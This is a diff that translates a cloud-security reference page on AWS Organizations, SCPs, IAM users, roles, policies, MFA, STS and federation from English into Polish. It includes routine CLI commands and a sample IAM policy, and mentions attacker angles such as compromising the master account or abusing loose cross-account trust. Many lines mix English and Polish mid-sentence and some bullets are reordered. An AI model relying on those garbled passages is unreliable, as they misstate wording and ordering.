**responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +Konto zarządzające ma **odpowiedzialność konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją. +- **Konta członkowskie** składają się z pozostałych kont w organizacji. Konto może być członkiem tylko jednej organizacji w danym czasie. Możesz przypisać politykę do konta, aby zastosować kontrole tylko do tego jednego konta. +- Konta członkowskie **muszą używać ważnego adresu e-mail** i mogą mieć **nazwę**, generalnie nie będą mogły zarządzać rozliczeniami (ale mogą otrzymać do nich dostęp). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **Jednostki Organizacyjne** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +Konta mogą być grupowane w **Jednostki Organizacyjne (OU)**. W ten sposób możesz tworzyć **polityki** dla Jednostki Organizacyjnej, które będą **stosowane do wszystkich kont podrzędnych**. Zauważ, że OU może mieć inne OU jako dzieci. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tą różnicą, że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**. -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\ +Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane). > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> Zauważ, że **SCP ograniczają tylko podmioty w koncie**, więc inne konta nie są dotknięte. Oznacza to, że posiadanie SCP, które odmawia `s3:GetObject`, nie powstrzyma ludzi przed **uzyskiwaniem dostępu do publicznego koszyka S3** w twoim koncie. -SCP examples: +Przykłady SCP: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- Całkowite odmówienie konta root +- Zezwolenie tylko na określone regiony +- Zezwolenie tylko na usługi z białej listy +- Odmowa wyłączenia GuardDuty, CloudTrail i S3 Public Block Access - being disabled +- Odmowa usuwania lub modyfikowania ról odpowiedzialności za bezpieczeństwo/incydenty. -- Deny security/incident response roles from being deleted or +- Odmowa usuwania kopii zapasowych. +- Odmowa tworzenia użytkowników IAM i kluczy dostępu - modified. - -- Deny backups from being deleted. -- Deny creating IAM users and access keys - -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +Znajdź **przykłady JSON** w [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazon Resource Name** to **unikalna nazwa**, którą ma każdy zasób w AWS, składa się z tego: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - -Note that there are 4 partitions in AWS but only 3 ways to call them: +Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - Zarządzanie Tożsamością i Dostępem -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM to usługa, która pozwoli Ci zarządzać **Uwierzytelnianiem**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS. -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację. +- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie, gdy już została uwierzytelniona. +- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu. -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS. -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**. -Note that a new **admin user** will have **less permissions that the root user**. +Zauważ, że nowy **użytkownik admina** będzie miał **mniejsze uprawnienia niż użytkownik główny**. -From a security point of view, it's recommended to create other users and avoid using this one. +Z punktu widzenia bezpieczeństwa zaleca się tworzenie innych użytkowników i unikanie korzystania z tego. -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [Użytkownicy IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +Użytkownik IAM to podmiot, który tworzysz w AWS, aby **reprezentować osobę lub aplikację**, która używa go do **interakcji z AWS**. Użytkownik w AWS składa się z nazwy i poświadczeń (hasło i do dwóch kluczy dostępu). -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +Kiedy tworzysz użytkownika IAM, przyznajesz mu **uprawnienia**, czyniąc go **członkiem grupy użytkowników**, która ma odpowiednie polityki uprawnień (zalecane), lub **bezpośrednio przypisując polityki** do użytkownika. -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny API użytkowników z włączonym MFA nie są chronione przez MFA. Jeśli chcesz **ograniczyć dostęp kluczy API użytkowników za pomocą MFA**, musisz wskazać w polityce, że aby wykonać określone działania, MFA musi być obecne (przykład [**tutaj**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT +- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu). -Whenever you need to **change the Access Key** this is the process you should follow:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować zgodnie z tym procesem:\ +&#xNAN;_Create nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_ -### MFA - Multi Factor Authentication +### MFA - Uwierzytelnianie wieloskładnikowe -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +Jest używane do **tworzenia dodatkowego czynnika uwierzytelniania** oprócz istniejących metod, takich jak hasło, tworząc w ten sposób wieloskładnikowy poziom uwierzytelniania.\ +Możesz użyć **darmowej aplikacji wirtualnej lub fizycznego urządzenia**. Możesz użyć aplikacji takich jak google authentication za darmo, aby aktywować MFA w AWS. -Policies with MFA conditions can be attached to the following: +Polityki z warunkami MFA mogą być przypisane do następujących: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- Użytkownika lub grupy IAM +- Zasobu, takiego jak koszyk Amazon S3, kolejka Amazon SQS lub temat Amazon SNS +- Polityki zaufania roli IAM, która może być przyjęta przez użytkownika +Jeśli chcesz **uzyskać dostęp przez CLI** do zasobu, który **sprawdza MFA**, musisz wywołać **`GetSessionToken`**. To da Ci token z informacjami o MFA.\ +Zauważ, że **`AssumeRole` poświadczenia nie zawierają tych informacji**. ```bash aws sts get-session-token --serial-number --token-code ``` +As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**. -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [Grupy użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +Grupa [użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) to sposób na **przypisanie polityk do wielu użytkowników** jednocześnie, co może ułatwić zarządzanie uprawnieniami tych użytkowników. **Role i grupy nie mogą być częścią grupy**. -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +Możesz przypisać **politykę opartą na tożsamości do grupy użytkowników**, aby wszyscy **użytkownicy** w grupie użytkowników **otrzymali uprawnienia polityki**. **Nie możesz** zidentyfikować **grupy użytkowników** jako **`Principal`** w **polityce** (takiej jak polityka oparta na zasobach), ponieważ grupy odnoszą się do uprawnień, a nie do uwierzytelniania, a podmioty są uwierzytelnionymi jednostkami IAM. -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +Oto kilka ważnych cech grup użytkowników: -Here are some important characteristics of user groups: +- Grupa **użytkowników** może **zawierać wielu użytkowników**, a **użytkownik** może **należeć do wielu grup**. +- **Grupy użytkowników nie mogą być zagnieżdżane**; mogą zawierać tylko użytkowników, a nie inne grupy użytkowników. +- Nie ma **domyślnej grupy użytkowników, która automatycznie obejmuje wszystkich użytkowników w koncie AWS**. Jeśli chcesz mieć taką grupę użytkowników, musisz ją utworzyć i przypisać do niej każdego nowego użytkownika. +- Liczba i rozmiar zasobów IAM w koncie AWS, takich jak liczba grup oraz liczba grup, do których użytkownik może należeć, są ograniczone. Aby uzyskać więcej informacji, zobacz [kwoty IAM i AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [Role IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. Użytkownik **IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM. -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **do czego ma dostęp**. -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### Usługa AWS Security Token Service (STS) -#### AWS Security Token Service (STS) +Usługa AWS Security Token Service (STS) to usługa internetowa, która ułatwia **wydawanie tymczasowych, ograniczonych poświadczeń**. Jest specjalnie dostosowana do: -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [Tymczasowe poświadczenia w IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**Tymczasowe poświadczenia są głównie używane z rolami IAM**, ale istnieją również inne zastosowania. Możesz zażądać tymczasowych poświadczeń, które mają bardziej ograniczony zestaw uprawnień niż standardowy użytkownik IAM. To **zapobiega** przypadkowemu **wykonywaniu zadań, które nie są dozwolone** przez bardziej ograniczone poświadczenia. Korzyścią tymczasowych poświadczeń jest to, że wygasają automatycznie po określonym czasie. Masz kontrolę nad czasem, przez jaki poświadczenia są ważne. -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### Polityki -### Policies +#### Uprawnienia polityki -#### Policy Permissions +Służą do przypisywania uprawnień. Istnieją 2 typy: -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- Polityki zarządzane przez AWS (wstępnie skonfigurowane przez AWS) +- Polityki zarządzane przez klienta: skonfigurowane przez Ciebie. Możesz tworzyć polityki na podstawie polityk zarządzanych przez AWS (modyfikując jedną z nich i tworząc własną), korzystając z generatora polityk (widok GUI, który pomaga w przyznawaniu i odmawianiu uprawnień) lub pisząc własne. +Zgodnie z **domyślnym dostępem** jest **odmowa**, dostęp zostanie przyznany, jeśli określono wyraźną rolę.\ +Jeśli **istnieje pojedyncza "Odmowa", nadpisze "Zezwolenie"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie). ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` - The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). #### Inline Policies -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. Wtedy nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\ +Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której jest stosowana. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. To dlatego, że są częścią głównego podmiotu. #### Resource Bucket Policies -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**. -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone. ### IAM Boundaries -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +Granice IAM mogą być używane do **ograniczenia uprawnień, do których użytkownik lub rola powinny mieć dostęp**. W ten sposób, nawet jeśli inny zestaw uprawnień jest przyznawany użytkownikowi przez **inną politykę**, operacja **nie powiedzie się**, jeśli spróbuje ich użyć. -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +Granica to po prostu polityka przypisana do użytkownika, która **wskazuje maksymalny poziom uprawnień, jakie użytkownik lub rola mogą mieć**. Tak więc, **nawet jeśli użytkownik ma dostęp administratora**, jeśli granica wskazuje, że może tylko czytać kosze S·, to jest to maksymalne, co może zrobić. -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +**To**, **SCP** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują. ### Session Policies -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +Polityka sesji to **polityka ustawiana, gdy rola jest przyjmowana** w jakiś sposób. Będzie to jak **granica IAM dla tej sesji**: Oznacza to, że polityka sesji nie przyznaje uprawnień, ale **ogranicza je do tych wskazanych w polityce** (maksymalne uprawnienia to te, które ma rola). +To jest przydatne dla **środków bezpieczeństwa**: Kiedy administrator ma przyjąć bardzo uprzywilejowaną rolę, może ograniczyć uprawnienia tylko do tych wskazanych w polityce sesji, na wypadek gdyby sesja została skompromitowana. ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +Note that by default **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z zaawansowanej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). - -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **istnieje polityka sesji, która to uniemożliwia**. ### Identity Federation -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +Identity federation **pozwala użytkownikom z dostawców tożsamości, które są zewnętrzne** dla AWS na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\ +Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS. To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +However, you will usually want to give a **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
### IAM Identity Center -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkownikami i ich dostępem do kont AWS** oraz aplikacji w chmurze. The login domain is going to be something like `.awsapps.com`. @@ -267,20 +251,20 @@ To login users, there are 3 identity sources that can be used:
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **dowolnych kont** organizacji. In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +It's possible to **dać uprawnienia za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Rola utworzona w kontach, którym nadano **polityki inline w AWS Identity Center**, będzie miała te uprawnienia w polityce inline nazwanej **`AwsSSOInlinePolicy`**. -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **nie oznacza, że ma te same uprawnienia**. ### Cross Account Trusts and Roles -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**Użytkownik** (ufający) może utworzyć rolę Cross Account z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (ufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać Cross Account Role. Role dla dostępu między kontami oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\ +Zaleca się **określenie użytkownika, który jest ufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania. ### AWS Simple AD @@ -300,28 +284,28 @@ The app uses the AssumeRoleWithWebIdentity to create temporary credentials. Howe ### Other IAM options -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- You can **ustawić politykę hasła**, opcje takie jak minimalna długość i wymagania dotyczące hasła. +- You can **pobierać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takich jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak raz co **cztery godziny**. -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **kto może uzyskać dostęp do jakich usług i zasobów**, i na jakich warunkach. With IAM policies, you manage permissions to your workforce and systems to **zapewnić uprawnienia minimalne**. ### IAM ID Prefixes -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **prefiksy ID IAM** kluczy w zależności od ich natury: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session 